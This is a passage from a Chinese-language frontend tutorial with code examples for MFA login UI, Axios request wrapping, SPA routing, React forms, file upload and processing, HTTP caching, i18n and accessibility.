      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ tempToken, code, method })
    })
    if (res.ok) {
      const { accessToken } = await res.json()
      onSuccess(accessToken)
    }
  }

  // Passkey(WebAuthn)—— 无密码、最安全
  const handlePasskey = async () => {
    const { options } = await fetch('/api/mfa/passkey/challenge').then(r => r.json())
    const credential = await navigator.credentials.get({ publicKey: options })
    await fetch('/api/mfa/passkey/verify', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(credential)
    })
  }

  return (
    <div className="mfa-login">
      <h3>二步验证</h3>
      <div className="mfa-methods">
        <button onClick={() => setMethod('totp')}>Authenticator App</button>
        <button onClick={() => setMethod('sms')}>短信验证码</button>
        <button onClick={handlePasskey}>Passkey(指纹/面容)</button>
      </div>

      {method === 'totp' && (
        <div>
          <p>打开 Authenticator App,输入 6 位动态码</p>
          <OTPInput length={6} onComplete={setCode} />
        </div>
      )}
    </div>
  )
}

// OTP 输入框组件(自动聚焦、自动跳转)
function OTPInput({ length = 6, onComplete }) {
  const refs = useRef([])
  const [values, setValues] = useState(Array(length).fill(''))

  const handleChange = (index, value) => {
    if (!/^\d*$/.test(value)) return
    const newValues = [...values]
    newValues[index] = value.slice(-1)
    setValues(newValues)

    // 自动跳转到下一个输入框
    if (value && index < length - 1) {
      refs.current[index + 1]?.focus()
    }

    // 全部填完,触发回调
    if (newValues.every(v => v)) {
      onComplete(newValues.join(''))
    }
  }

  const handleKeyDown = (index, e) => {
    if (e.key === 'Backspace' && !values[index] && index > 0) {
      refs.current[index - 1]?.focus()
    }
  }

  const handlePaste = (e) => {
    e.preventDefault()
    const pasted = e.clipboardData.getData('text').replace(/\D/g, '').slice(0, length)
    const newValues = [...values]
    pasted.split('').forEach((char, i) => { newValues[i] = char })
    setValues(newValues)
    if (pasted.length === length) onComplete(pasted)
    refs.current[Math.min(pasted.length, length - 1)]?.focus()
  }

  return (
    <div style={{ display: 'flex', gap: '8px', justifyContent: 'center' }}>
      {values.map((val, i) => (
        <input
          key={i}
          ref={el => refs.current[i] = el}
          type="text"
          inputMode="numeric"
          maxLength={1}
          value={val}
          onChange={e => handleChange(i, e.target.value)}
          onKeyDown={e => handleKeyDown(i, e)}
          onPaste={handlePaste}
          style={{
            width: '48px', height: '56px', textAlign: 'center',
            fontSize: '24px', fontWeight: 'bold', borderRadius: '8px',
            border: '2px solid #d1d5db', outline: 'none'
          }}
          onFocus={e => e.target.select()}
        />
      ))}
    </div>
  )
}
MFA 最佳实践(2026)

1)优先推荐 Passkey(WebAuthn)—— 生物识别 + 无私密钥,防钓鱼效果最好;2)TOTP 作为 Passkey 的降级方案,比短信更安全(短信可被 SIM Swap 攻击);3)MFA 设置完成后务必生成恢复码(Recovery Codes),让用户在丢失设备时能恢复账户;4)敏感操作(改密码、删除账户)应单独要求 MFA 验证,不要只在登录时验证一次;5)支持"记住此设备"选项,30 天内同一设备可跳过 MFA。

42. 网络请求封装

// 生产级 Axios 封装
import axios from 'axios'
import { message } from 'antd'

const api = axios.create({
  baseURL: import.meta.env.VITE_API_URL,
  timeout: 15000,
  headers: { 'Content-Type': 'application/json' }
})

// 请求拦截器
api.interceptors.request.use(
  (config) => {
    const token = localStorage.getItem('token')
    if (token) config.headers.Authorization = `Bearer ${token}`
    return config
  },
  (error) => Promise.reject(error)
)

// 响应拦截器
api.interceptors.response.use(
  (response) => {
    const { code, data, message: msg } = response.data
    if (code === 0) return data  // 成功,直接返回 data
    message.error(msg || '请求失败')
    return Promise.reject(new Error(msg))
  },
  (error) => {
    if (error.response) {
      switch (error.response.status) {
        case 401: window.location.href = '/login'; break
        case 403: message.error('没有权限'); break
        case 404: message.error('资源不存在'); break
        case 500: message.error('服务器错误'); break
      }
    } else if (error.code === 'ECONNABORTED') {
      message.error('请求超时')
    } else {
      message.error('网络错误')
    }
    return Promise.reject(error)
  }
)

export default api

// 使用
const users = await api.get('/users')
const newUser = await api.post('/users', { name: '张三' })

SSE(Server-Sent Events)

// SSE:服务器向客户端单向推送数据(适合 AI 流式输出、实时通知)
const eventSource = new EventSource('/api/stream')

eventSource.onmessage = (event) => {
  const data = JSON.parse(event.data)
  console.log('收到推送:', data)
}

eventSource.onerror = () => {
  console.log('连接断开,自动重连...')
}

// 关闭连接
eventSource.close()

// 在 React 中使用
useEffect(() => {
  const es = new EventSource('/api/stream')
  es.onmessage = (e) => setMessages(prev => [...prev, e.data])
  return () => es.close()
}, [])

重试与指数退避

// 生产环境必备:请求失败后自动重试,间隔指数增长
async function requestWithRetry(fn, maxRetries = 3) {
  for (let i = 0; i <= maxRetries; i++) {
    try {
      return await fn()
    } catch (err) {
      if (i === maxRetries) throw err
      // 指数退避:1s → 2s → 4s,加随机抖动避免雪崩
      const delay = Math.min(1000 * 2 ** i, 10000) + Math.random() * 500
      console.log(`第 ${i + 1} 次重试,等待 ${Math.round(delay)}ms`)
      await new Promise(r => setTimeout(r, delay))
    }
  }
}

// 封装为 Axios 插件
function retryPlugin(instance, retries = 2) {
  instance.interceptors.response.use(null, async (error) => {
    const config = error.config
    config.__retryCount = (config.__retryCount || 0) + 1
    if (config.__retryCount > retries) return Promise.reject(error)
    const delay = 1000 * 2 ** (config.__retryCount - 1)
    await new Promise(r => setTimeout(r, delay))
    return instance(config)
  })
}

请求去重(取消重复请求)

// 场景:用户快速连续点击按钮,同一接口被多次调用
// 策略:相同 URL + Method 的请求只保留最新一个,自动取消之前的
const pendingMap = new Map()

function getRequestKey(config) {
  return `${config.method}:${config.url}:${JSON.stringify(config.params || {})}`
}

api.interceptors.request.use((config) => {
  const key = getRequestKey(config)
  if (pendingMap.has(key)) {
    pendingMap.get(key).abort()  // 取消上一个
  }
  const controller = new AbortController()
  config.signal = controller.signal
  pendingMap.set(key, controller)
  return config
})

api.interceptors.response.use(
  (res) => { pendingMap.delete(getRequestKey(res.config)); return res },
  (err) => { if (err.config) pendingMap.delete(getRequestKey(err.config)); return Promise.reject(err) }
)

TypeScript 泛型封装

// 用泛型让请求和响应都有完整类型提示
interface ApiResponse<T> {
  code: number
  data: T
  message: string
}

async function request<T>(url: string, config?: AxiosRequestConfig): Promise<T> {
  const res = await api.request<ApiResponse<T>>(config ? { url, ...config } : { url })
  return res.data as unknown as T
}

// 使用时自动推导返回类型
interface User { id: number; name: string; email: string }
const user = await request<User>('/users/1')
console.log(user.name)  // ✅ TypeScript 知道 name 是 string

// 泛型 POST
async function post<TReq, TRes>(url: string, data: TReq): Promise<TRes> {
  return request<TRes>(url, { method: 'POST', data })
}
const created = await post<{ name: string }, User>('/users', { name: '李四' })
何时用重试 vs 去重

重试适用于网络波动导致的偶发失败(5xx、超时),但对 4xx 错误不应重试。去重适用于用户重复操作场景(连续点击按钮、快速切换页面)。两者通常同时使用:去重保证同一时刻只有一个请求在飞,重试保证这个请求在失败后能自动恢复。

43. 前端路由与导航

SPA(单页应用)的核心问题:页面只有一个 HTML 文件,但用户看到的"页面"有很多。前端路由就是根据 URL 变化,动态切换显示的组件,同时不刷新整个页面。

一个类比

传统网站的路由像翻书——每次跳转都翻到新的一页(刷新页面)。SPA 路由像电子书——你点目录,页面内容变了,但书本身没有换(不刷新)。电子书的"目录系统"就是前端路由。

Hash 路由 vs History 路由

特性Hash 路由History 路由
URL 格式/#/about/about
美观度有 # 号,不美观干净的 URL
服务器配置不需要需要配置 fallback
原理监听 hashchange 事件监听 popstate + pushState
SEO较差好
推荐旧项目兼容2026 年统一使用

History 路由原理

// History 路由基于两个 API:
// 1. history.pushState(state, title, url) — 添加历史记录(不刷新页面)
// 2. history.replaceState(state, title, url) — 替换当前记录
// 3. popstate 事件 — 用户点击浏览器前进/后退按钮时触发

// 简化版路由实现
class SimpleRouter {
  constructor() {
    this.routes = {}
    window.addEventListener('popstate', () => this.resolve())
  }

  // 注册路由
  route(path, callback) {
    this.routes[path] = callback
    return this
  }

  // 导航到新 URL
  navigate(path) {
    history.pushState(null, '', path)
    this.resolve()
  }

  // 解析当前 URL 并执行对应的回调
  resolve() {
    const path = window.location.pathname
    const handler = this.routes[path] || this.routes['*']
    handler?.()
  }
}

// 使用
const router = new SimpleRouter()
router
  .route('/', () => showHome())
  .route('/about', () => showAbout())
  .route('/users', () => showUsers())
  .route('*', () => show404())

// 点击链接时阻止默认行为,用路由导航
document.addEventListener('click', (e) => {
  if (e.target.tagName === 'A' && e.target.href.startsWith(location.origin)) {
    e.preventDefault()
    router.navigate(new URL(e.target.href).pathname)
  }
})

服务器配置

// History 路由的问题:用户直接访问 /about 或刷新页面时,服务器会返回 404
// 因为服务器上没有 /about 这个文件,只有 index.html
// 解决:服务器把所有 404 请求都返回 index.html

// Nginx 配置
server {
  location / {
    try_files $uri $uri/ /index.html;
  }
}

// Vite 开发服务器(默认已开启)
export default defineConfig({
  server: {
    historyApiFallback: true
  }
})

// Node.js (Express)
const history = require('connect-history-api-fallback')
app.use(history())
app.use(express.static('dist'))

// Apache (.htaccess)
// <IfModule mod_rewrite.c>
//   RewriteEngine On
//   RewriteBase /
//   RewriteRule ^index\.html$ - [L]
//   RewriteCond %{REQUEST_FILENAME} !-f
//   RewriteCond %{REQUEST_FILENAME} !-d
//   RewriteRule . /index.html [L]
// </IfModule>
导航守卫的常见用途

1)认证检查——未登录用户访问受保护页面时,重定向到登录页;2)权限控制——普通用户访问 admin 页面时,重定向到 403 页;3)数据预加载——进入页面前先获取必要的数据;4)页面离开确认——表单未保存时,提示用户"确定要离开吗";5)面包屑导航——根据路由层级生成面包屑。

路由级代码分割(懒加载)

大型应用的 JS 包可能有几 MB。懒加载让用户只下载当前页面需要的代码:

// React.lazy + Suspense 实现路由级代码分割
import { lazy, Suspense } from 'react'
import { BrowserRouter, Routes, Route } from 'react-router-dom'

// 懒加载页面组件——访问时才加载
const Home = lazy(() => import('./pages/Home'))
const About = lazy(() => import('./pages/About'))
const Dashboard = lazy(() => import('./pages/Dashboard'))

function App() {
  return (
    <BrowserRouter>
      {/* Suspense 在组件加载时显示 fallback */}
      <Suspense fallback={<div className="loading">加载中...</div>}>
        <Routes>
          <Route path="/" element={<Home />} />
          <Route path="/about" element={<About />} />
          <Route path="/dashboard" element={<Dashboard />} />
        </Routes>
      </Suspense>
    </BrowserRouter>
  )
}

// Vue 的懒加载写法
// const routes = [
//   { path: '/', component: () => import('./views/Home.vue') },
//   { path: '/about', component: () => import('./views/About.vue') },
// ]

动态路由与嵌套路由

// 动态路由参数
<Routes>
  <Route path="/users/:id" element={<UserProfile />} />
</Routes>

// 在组件中获取参数
import { useParams, useSearchParams } from 'react-router-dom'

function UserProfile() {
  const { id } = useParams()  // 获取 URL 中的 :id
  const [searchParams] = useSearchParams()
  const page = searchParams.get('page') || '1'
  return <div>用户 {id},第 {page} 页</div>
}

// 嵌套路由(布局 + 子页面)
<Route path="/dashboard" element={<DashboardLayout />}>
  <Route index element={<DashboardHome />} />
  <Route path="analytics" element={<Analytics />} />
  <Route path="settings" element={<Settings />} />
</Route>

function DashboardLayout() {
  return (
    <div className="dashboard">
      <nav>
        <Link to="/dashboard">概览</Link>
        <Link to="/dashboard/analytics">数据分析</Link>
      </nav>
      <main><Outlet /></main>
    </div>
  )
}

滚动恢复

// 每次路由变化滚动到顶部
import { useLocation } from 'react-router-dom'
import { useEffect } from 'react'

function ScrollToTop() {
  const { pathname } = useLocation()
  useEffect(() => { window.scrollTo(0, 0) }, [pathname])
  return null
}

// 在 App 中使用
<BrowserRouter>
  <ScrollToTop />
  <Routes>...</Routes>
</BrowserRouter>
路由预加载

用户鼠标悬停在链接上时,大概率会点击。可以在 hover 时预加载目标页面的代码。Next.js 的 <Link> 组件默认在 hover 时预加载页面,这是提升 SPA 体验的关键优化。

44. 表单与复杂交互

动态表单

// 动态增减表单项
function DynamicForm() {
  const { control, handleSubmit } = useForm()
  const { fields, append, remove } = useFieldArray({
    control,
    name: 'users'
  })

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      {fields.map((field, index) => (
        <div key={field.id}>
          <input {...register(`users.${index}.name`)} placeholder="姓名" />
          <input {...register(`users.${index}.email`)} placeholder="邮箱" />
          <button type="button" onClick={() => remove(index)}>删除</button>
        </div>
      ))}
      <button type="button" onClick={() => append({ name: '', email: '' })}>
        添加用户
      </button>
      <button type="submit">提交</button>
    </form>
  )
}

拖拽排序

// 使用 @dnd-kit(最流行的拖拽库)
import { DndContext, closestCenter } from '@dnd-kit/core'
import { SortableContext, useSortable, verticalListSortingStrategy } from '@dnd-kit/sortable'
import { CSS } from '@dnd-kit/utilities'

function SortableItem({ id, text }) {
  const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id })
  const style = { transform: CSS.Transform.toString(transform), transition }

  return (
    <div ref={setNodeRef} style={style} {...attributes} {...listeners}>
      {text}
    </div>
  )
}

function SortableList() {
  const [items, setItems] = useState(['苹果', '香蕉', '橙子'])

  const handleDragEnd = (event) => {
    const { active, over } = event
    if (active.id !== over.id) {
      const oldIndex = items.indexOf(active.id)
      const newIndex = items.indexOf(over.id)
      setItems(arrayMove(items, oldIndex, newIndex))
    }
  }

  return (
    <DndContext collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
      <SortableContext items={items} strategy={verticalListSortingStrategy}>
        {items.map(item => <SortableItem key={item} id={item} text={item} />)}
      </SortableContext>
    </DndContext>
  )
}

表单库对比

库特点包大小推荐场景
React Hook Form非受控模式,性能最好,API 简洁~8KB2026 年首选推荐
Formik受控模式,生态成熟,文档完善~44KB已有项目维护
TanStack Form框架无关,类型安全最强~12KB多框架项目、极致类型安全

Schema 校验(Zod + React Hook Form)

// Zod:TypeScript 优先的 Schema 校验库
import { z } from 'zod'
import { useForm } from 'react-hook-form'
import { zodResolver } from '@hookform/resolvers/zod'

// 定义校验规则
const loginSchema = z.object({
  email: z.string().email('请输入有效的邮箱地址'),
  password: z.string().min(8, '密码至少 8 位').max(100),
  rememberMe: z.boolean().optional()
})

// 从 Schema 推导 TypeScript 类型
type LoginFormData = z.infer<typeof loginSchema>

function LoginForm() {
  const { register, handleSubmit, formState: { errors } } = useForm<LoginFormData>({
    resolver: zodResolver(loginSchema)  // 用 Zod 校验
  })

  const onSubmit = (data: LoginFormData) => {
    console.log(data)  // data 已经通过校验
  }

  return (
    <form onSubmit={handleSubmit(onSubmit)}>
      <input {...register('email')} placeholder="邮箱" />
      {errors.email && <span className="error">{errors.email.message}</span>}

      <input {...register('password')} type="password" placeholder="密码" />
      {errors.password && <span className="error">{errors.password.message}</span>}

      <label>
        <input {...register('rememberMe')} type="checkbox" /> 记住我
      </label>

      <button type="submit">登录</button>
    </form>
  )
}

多步骤表单

// 多步骤表单:用状态管理当前步骤
function MultiStepForm() {
  const [step, setStep] = useState(1)
  const [formData, setFormData] = useState({})

  const handleNext = (stepData) => {
    setFormData(prev => ({ ...prev, ...stepData }))
    setStep(prev => prev + 1)
  }

  const handlePrev = () => setStep(prev => prev - 1)

  const handleSubmit = async (stepData) => {
    const allData = { ...formData, ...stepData }
    await fetch('/api/register', {
      method: 'POST',
      body: JSON.stringify(allData)
    })
  }

  return (
    <div className="form-wizard">
      {/* 步骤指示器 */}
      <div className="steps">
        <span className={step >= 1 ? 'active' : ''}>1. 基本信息</span>
        <span className={step >= 2 ? 'active' : ''}>2. 联系方式</span>
        <span className={step >= 3 ? 'active' : ''}>3. 确认提交</span>
      </div>

      {step === 1 && <Step1 onNext={handleNext} defaultValues={formData} />}
      {step === 2 && <Step2 onNext={handleNext} onPrev={handlePrev} defaultValues={formData} />}
      {step === 3 && <Step3 onSubmit={handleSubmit} onPrev={handlePrev} data={formData} />}
    </div>
  )
}
表单最佳实践

1)校验规则和类型定义共用一份 Schema(Zod),避免重复;2)提交按钮在 loading 状态时禁用,防止重复提交;3)表单数据量大时用 useWatch 代替 watch 减少重渲染;4)文件上传用 FormData 而不是 JSON;5)长表单使用 dirtyFields 只提交修改过的字段。

45. 文件处理

文件处理是前端常见的需求——上传头像、导入 Excel、预览 PDF、拖拽上传。这一章介绍文件上传、下载、预览的核心技术。

文件上传(带进度)

function FileUploader() {
  const [progress, setProgress] = useState(0)
  const [uploading, setUploading] = useState(false)

  const upload = async (file) => {
    // 文件大小校验
    if (file.size > 10 * 1024 * 1024) {
      alert('文件不能超过 10MB')
      return
    }
    // 文件类型校验
    const allowedTypes = ['image/jpeg', 'image/png', 'image/webp']
    if (!allowedTypes.includes(file.type)) {
      alert('只支持 JPG、PNG、WebP 格式')
      return
    }

    const formData = new FormData()
    formData.append('file', file)

    setUploading(true)
    try {
      await axios.post('/api/upload', formData, {
        headers: { 'Content-Type': 'multipart/form-data' },
        onUploadProgress: (e) => {
          const percent = Math.round((e.loaded * 100) / e.total)
          setProgress(percent)
        }
      })
    } finally {
      setUploading(false)
      setProgress(0)
    }
  }

  return (
    <div>
      <input type="file" accept="image/*" onChange={e => upload(e.target.files[0])} />
      {uploading && (
        <div className="progress">
          <div className="progress-bar" style={{ width: `${progress}%` }} />
          <span>{progress}%</span>
        </div>
      )}
    </div>
  )
}

拖拽上传

function DropZone({ onUpload }) {
  const [dragging, setDragging] = useState(false)
  return (
    <div
      className={`drop-zone ${dragging ? 'active' : ''}`}
      onDragOver={e => { e.preventDefault(); setDragging(true) }}
      onDragLeave={() => setDragging(false)}
      onDrop={e => {
        e.preventDefault(); setDragging(false)
        Array.from(e.dataTransfer.files).forEach(file => onUpload(file))
      }}
    >
      <p>拖拽文件到此处上传</p>
    </div>
  )
}

分片上传与断点续传

// 大文件分片上传(解决大文件上传超时、中断问题)
async function chunkUpload(file, chunkSize = 5 * 1024 * 1024) {
  const chunks = []
  for (let i = 0; i < file.size; i += chunkSize) {
    chunks.push(file.slice(i, i + chunkSize))
  }
  // 获取已上传的分片(断点续传)
  const { uploadedChunks } = await api.get(`/upload/status/${file.name}`)
  const pendingChunks = chunks.filter((_, i) => !uploadedChunks.includes(i))
  // 并发上传(最多 3 个并发)
  const concurrency = 3
  for (let i = 0; i < pendingChunks.length; i += concurrency) {
    const batch = pendingChunks.slice(i, i + concurrency)
    await Promise.all(batch.map((chunk, j) => {
      const formData = new FormData()
      formData.append('chunk', chunk)
      formData.append('index', String(i + j))
      formData.append('filename', file.name)
      return api.post('/upload/chunk', formData)
    }))
  }
  await api.post('/upload/merge', { filename: file.name, totalChunks: chunks.length })
}

文件预览与下载

// 图片本地预览(不上传)
function ImagePreview({ file }) {
  const [url, setUrl] = useState('')
  useEffect(() => {
    const objectUrl = URL.createObjectURL(file)
    setUrl(objectUrl)
    return () => URL.revokeObjectURL(objectUrl)
  }, [file])
  return <img src={url} alt="预览" />
}

// 文件下载
function downloadFile(url, filename) {
  const a = document.createElement('a')
  a.href = url; a.download = filename
  document.body.appendChild(a); a.click(); document.body.removeChild(a)
}

// 动态生成文件并下载
function downloadJSON(data, filename) {
  const blob = new Blob([JSON.stringify(data, null, 2)], { type: 'application/json' })
  const url = URL.createObjectURL(blob)
  downloadFile(url, filename)
  URL.revokeObjectURL(url)
}

客户端图片压缩/缩放

// 上传前在浏览器端压缩图片,减少传输体积
async function compressImage(file, maxWidth = 1920, quality = 0.8) {
  const bitmap = await createImageBitmap(file)
  const scale = Math.min(maxWidth / bitmap.width, 1)
  const canvas = document.createElement('canvas')
  canvas.width = bitmap.width * scale
  canvas.height = bitmap.height * scale
  canvas.getContext('2d').drawImage(bitmap, 0, 0, canvas.width, canvas.height)

  return new Promise(resolve => {
    canvas.toBlob(blob => resolve(new File([blob], file.name, { type: 'image/jpeg' })),
      'image/jpeg', quality)
  })
}

// 使用:先压缩再上传
const handleUpload = async (e) => {
  const file = e.target.files[0]
  const compressed = await compressImage(file, 1280, 0.7)
  console.log(`${(file.size / 1024).toFixed(0)}KB → ${(compressed.size / 1024).toFixed(0)}KB`)
  uploadFile(compressed)
}

Web Worker 处理大文件

// worker.js:在后台线程解析文件,不阻塞 UI
self.onmessage = async (e) => {
  const { file, chunkSize = 1024 * 1024 } = e.data
  const total = Math.ceil(file.size / chunkSize)
  const md5 = await import('https://cdn.jsdelivr.net/npm/js-md5@0.8.3/+esm')

  for (let i = 0; i < total; i++) {
    const chunk = file.slice(i * chunkSize, (i + 1) * chunkSize)
    const buffer = await chunk.arrayBuffer()
    self.postMessage({ type: 'progress', current: i + 1, total })
  }
  self.postMessage({ type: 'done', size: file.size })
}

// 主线程调用
const worker = new Worker('worker.js', { type: 'module' })
worker.postMessage({ file })
worker.onmessage = (e) => {
  if (e.data.type === 'progress') updateProgress(e.data.current / e.data.total)
}

CSV / Excel 解析(SheetJS)

// pnpm add xlsx
import * as XLSX from 'xlsx'

// 读取 Excel/CSV → JSON
function parseFile(file) {
  return new Promise((resolve) => {
    const reader = new FileReader()
    reader.onload = (e) => {
      const wb = XLSX.read(e.target.result, { type: 'array' })
      const sheet = wb.Sheets[wb.SheetNames[0]]
      resolve(XLSX.utils.sheet_to_json(sheet))  // [{ name: '张三', age: 25 }, ...]
    }
    reader.readAsArrayBuffer(file)
  })
}

// JSON → 导出 Excel
function exportExcel(data, filename = 'export.xlsx') {
  const ws = XLSX.utils.json_to_sheet(data)
  const wb = XLSX.utils.book_new()
  XLSX.utils.book_append_sheet(wb, ws, 'Sheet1')
  XLSX.writeFile(wb, filename)
}

剪贴板 API 粘贴文件

// 监听粘贴事件,直接获取用户粘贴的图片
function PasteUpload() {
  const [preview, setPreview] = useState(null)

  useEffect(() => {
    const handler = async (e) => {
      const items = e.clipboardData?.items
      if (!items) return
      for (const item of items) {
        if (item.type.startsWith('image/')) {
          const file = item.getAsFile()
          setPreview(URL.createObjectURL(file))
          await uploadFile(file)  // 直接上传
        }
      }
    }
    document.addEventListener('paste', handler)
    return () => document.removeEventListener('paste', handler)
  }, [])

  return preview ? <img src={preview} alt="粘贴预览" /> : <p>Ctrl+V 粘贴图片上传</p>
}
文件处理提示

1)图片压缩用 <code>createImageBitmap + Canvas</code>,比 FileReader 更快;2)大文件解析(如 100MB CSV)必须用 Web Worker,否则 UI 会卡死;3)SheetJS 社区版免费,Pro 版支持样式导出;4)剪贴板 API 需要用户先复制图片到剪贴板(截图后 Ctrl+C)。

46. 前端缓存策略

缓存是前端性能优化中"投入产出比"最高的手段。一个好的缓存策略可以让页面加载时间从 3 秒降到 300 毫秒。

一个类比

缓存就像你冰箱里的食材。第一次做饭(首次访问)需要去超市买(下载资源)。之后做饭就可以直接从冰箱拿(用缓存)。但食材会过期——你需要定期检查(协商缓存)。有些食材永远不会变(带 hash 的静态文件),可以存很久(强缓存)。

缓存分层

1
强缓存——浏览器直接用本地文件,不发请求。速度最快(0ms)。
2
协商缓存——浏览器问服务器"资源变了吗",没变就用缓存。速度较快(304)。
3
Service Worker 缓存——JS 代码控制缓存策略。可以实现离线访问。
4
应用层缓存——localStorage、IndexedDB、TanStack Query 缓存等。

强缓存:不发请求

// 强缓存:浏览器直接用本地文件,不发任何网络请求
// 通过 HTTP 响应头控制

Cache-Control: max-age=31536000    // 缓存 1 年(31536000 秒)
Cache-Control: no-cache            // 不强缓存,每次都协商缓存
Cache-Control: no-store            // 完全不缓存
Cache-Control: public              // CDN 可以缓存
Cache-Control: private             // 只有浏览器可以缓存

// 最佳实践:
// 带 hash 的静态资源(app.a1b2c3.js)→ max-age=31536000(1 年)
// HTML 文件 → no-cache(每次都协商,确保拿到最新资源引用)
// API 数据 → private, no-cache(不缓存到 CDN,每次协商)

// Vite 构建的文件自动带 hash,可以放心设置长期缓存

协商缓存:问服务器

// 协商缓存:浏览器发请求问服务器"资源变了吗"

// 方式 1:ETag(推荐)
// 服务器返回资源时,生成一个唯一标识
ETag: "abc123"
// 下次请求时,浏览器自动带上
If-None-Match: "abc123"
// 服务器对比:一样返回 304(用缓存),不一样返回 200 + 新资源

// 方式 2:Last-Modified
// 服务器返回最后修改时间
Last-Modified: Wed, 21 Jun 2026 10:00:00 GMT
// 下次请求时,浏览器自动带上
If-Modified-Since: Wed, 21 Jun 2026 10:00:00 GMT

// ETag vs Last-Modified:
// ETag 更精确(内容变化就变),Last-Modified 精度只到秒
// 推荐用 ETag,两者可以共存

缓存策略速查表

资源类型缓存策略原因
带 hash 的 JS/CSSmax-age=31536000文件名变了就是新文件,可以永久缓存
HTML 入口文件no-cache必须每次协商,确保引用最新的 JS/CSS
图片/字体max-age=86400偶尔更新,缓存 1 天
API 数据no-store数据实时变化,不缓存
第三方 CDN 资源max-age=31536000版本固定,可永久缓存

Service Worker 缓存

// Service Worker:在浏览器和网络之间加一层"代理"
// 可以拦截所有网络请求,自定义缓存策略

// sw.js
self.addEventListener('install', (event) => {
  // 预缓存关键资源
  event.waitUntil(
    caches.open('v1').then(cache => {
      return cache.addAll(['/', '/index.html', '/app.js', '/style.css'])
    })
  )
})

self.addEventListener('fetch', (event) => {
  // Cache First 策略:优先用缓存,没有再发请求
  event.respondWith(
    caches.match(event.request).then(cached => {
      return cached || fetch(event.request).then(response => {
        // 把新请求的结果存入缓存
        const clone = response.clone()
        caches.open('v1').then(cache => cache.put(event.request, clone))
        return response
      })
    })
  )
})

// 常见策略:
// Cache First:静态资源(优先缓存,快)
// Network First:API 数据(优先网络,新)
// Stale While Revalidate:不常变的资源(先用缓存,后台更新)
缓存更新的挑战

缓存最大的问题是"怎么让用户拿到最新版本"。最佳实践:1)HTML 用 no-cache(每次协商),JS/CSS 用文件名 hash + 长期缓存;2)HTML 更新后,引用的 JS/CSS 文件名变了,浏览器自动下载新文件;3)Service Worker 更新需要版本号变化 + skipWaiting()。

47. 国际化 i18n

国际化(i18n = internationalization 首尾字母之间有 18 个字母)让应用支持多种语言。不只是翻译文字——还要处理日期格式、数字格式、货币符号、文字方向(阿拉伯语从右到左)等。

react-i18next 实现

// 安装:pnpm add react-i18next i18next i18next-browser-languagedetector

// i18n.js(配置文件)
import i18n from 'i18next'
import { initReactI18next } from 'react-i18next'
import LanguageDetector from 'i18next-browser-languagedetector'

i18n
  .use(LanguageDetector)  // 自动检测用户语言
  .use(initReactI18next)
  .init({
    resources: {
      zh: {
        translation: {
          welcome: '欢迎回来',
          login: '登录',
          logout: '退出',
          userCount: '共 {{count}} 个用户',
          greeting: '你好,{{name}}'
        }
      },
      en: {
        translation: {
          welcome: 'Welcome back',
          login: 'Login',
          logout: 'Logout',
          userCount: '{{count}} users in total',
          greeting: 'Hello, {{name}}'
        }
      }
    },
    lng: 'zh',           // 默认语言
    fallbackLng: 'zh',   // 翻译缺失时的回退语言
    interpolation: { escapeValue: false }  // React 已经防 XSS,不需要转义
  })

export default i18n

组件中使用

import { useTranslation } from 'react-i18next'

function Header() {
  const { t, i18n } = useTranslation()

  return (
    <header>
      <h1>{t('welcome')}</h1>

      {/* 带参数的翻译 */}
      <p>{t('greeting', { name: '张三' })}</p>
      <p>{t('userCount', { count: 42 })}</p>

      {/* 语言切换 */}
      <select value={i18n.language} onChange={e => i18n.changeLanguage(e.target.value)}>
        <option value="zh">中文</option>
        <option value="en">English</option>
      </select>
    </header>
  )
}

// 日期和数字国际化
import { useTranslation } from 'react-i18next'

function PriceDisplay({ amount }) {
  const { i18n } = useTranslation()

  // 根据语言格式化数字
  const formatted = new Intl.NumberFormat(i18n.language, {
    style: 'currency',
    currency: i18n.language === 'zh' ? 'CNY' : 'USD'
  }).format(amount)

  return <span>{formatted}</span>
  // 中文:¥100.00
  // 英文:$100.00
}

// 日期格式化
const date = new Intl.DateTimeFormat(i18n.language, {
  year: 'numeric', month: 'long', day: 'numeric'
}).format(new Date())
// 中文:2026年6月27日
// 英文:June 27, 2026
i18n 最佳实践

1)翻译文件按模块拆分(zh/home.json、zh/user.json),不要一个巨大文件;2)用命名空间(namespace)组织翻译键;3)翻译键用有意义的名称(home.title 而不是 text1);4)用 ICU 格式处理复数({{count}} item(s));5)日期、数字、货币用 Intl API 格式化,不要手写。

48. 无障碍访问 a11y

无障碍(Accessibility,缩写 a11y)是指让残障人士也能正常使用你的网站。全球约 10 亿人有某种形式的残疾——视障、听障、肢体障碍、认知障碍。无障碍不是"加分项",而是法律要求(很多国家有无障碍法规)和道德责任。

一个类比

无障碍设计就像给建筑加坡道和电梯。正常人可以走楼梯,但坐轮椅的人需要坡道。坡道对正常人也有用(推婴儿车、拉行李箱)。同样,无障碍设计对所有人都有益——语义化的 HTML 让 SEO 更好,键盘导航让 power user 更高效,高对比度让户外强光下也能看清屏幕。

语义化 HTML 是基础

// 最重要的无障碍措施:用正确的 HTML 标签

// ❌ 不好:div 没有按钮语义
<div class="btn" onclick="submit()">提交</div>
// 问题:不能用 Tab 聚焦、不能用 Enter 激活、屏幕阅读器不认识

// ✅ 好:原生 button 自带所有无障碍支持
<button onclick="submit()">提交</button>
// 自带:Tab 聚焦、Enter/Space 激活、屏幕阅读器朗读

// 其他语义化标签的无障碍价值:
<nav>         // 屏幕阅读器识别为"导航区域"
<main>        // 识别为"主要内容"
<h1>-<h6>    // 识别为"标题",可以用快捷键跳转
<img alt="..."> // 图片的语音描述
<label for="email"> // 点击聚焦输入框,屏幕阅读器朗读

ARIA 属性:补充语义

// 当原生 HTML 标签不够用时,用 ARIA 属性补充语义

// 自定义组件必须加 ARIA
<div role="dialog" aria-modal="true" aria-label="确认删除">
  <p>确定要删除吗?</p>
  <button aria-label="确认删除">确认</button>
</div>

// 常用 ARIA 属性
aria-label="关闭"          // 给元素加语音标签(没有可见文字时)
aria-labelledby="titleId"  // 引用另一个元素作为标签
aria-describedby="helpId"  // 引用帮助文字
aria-expanded="true/false" // 展开/折叠状态(下拉菜单、手风琴)
aria-hidden="true"         // 对屏幕阅读器隐藏(纯装饰元素)
aria-live="polite"         // 动态内容变化时通知屏幕阅读器
role="tab"                 // 定义元素角色
role="alert"               // 定义为警告(屏幕阅读器会立即朗读)

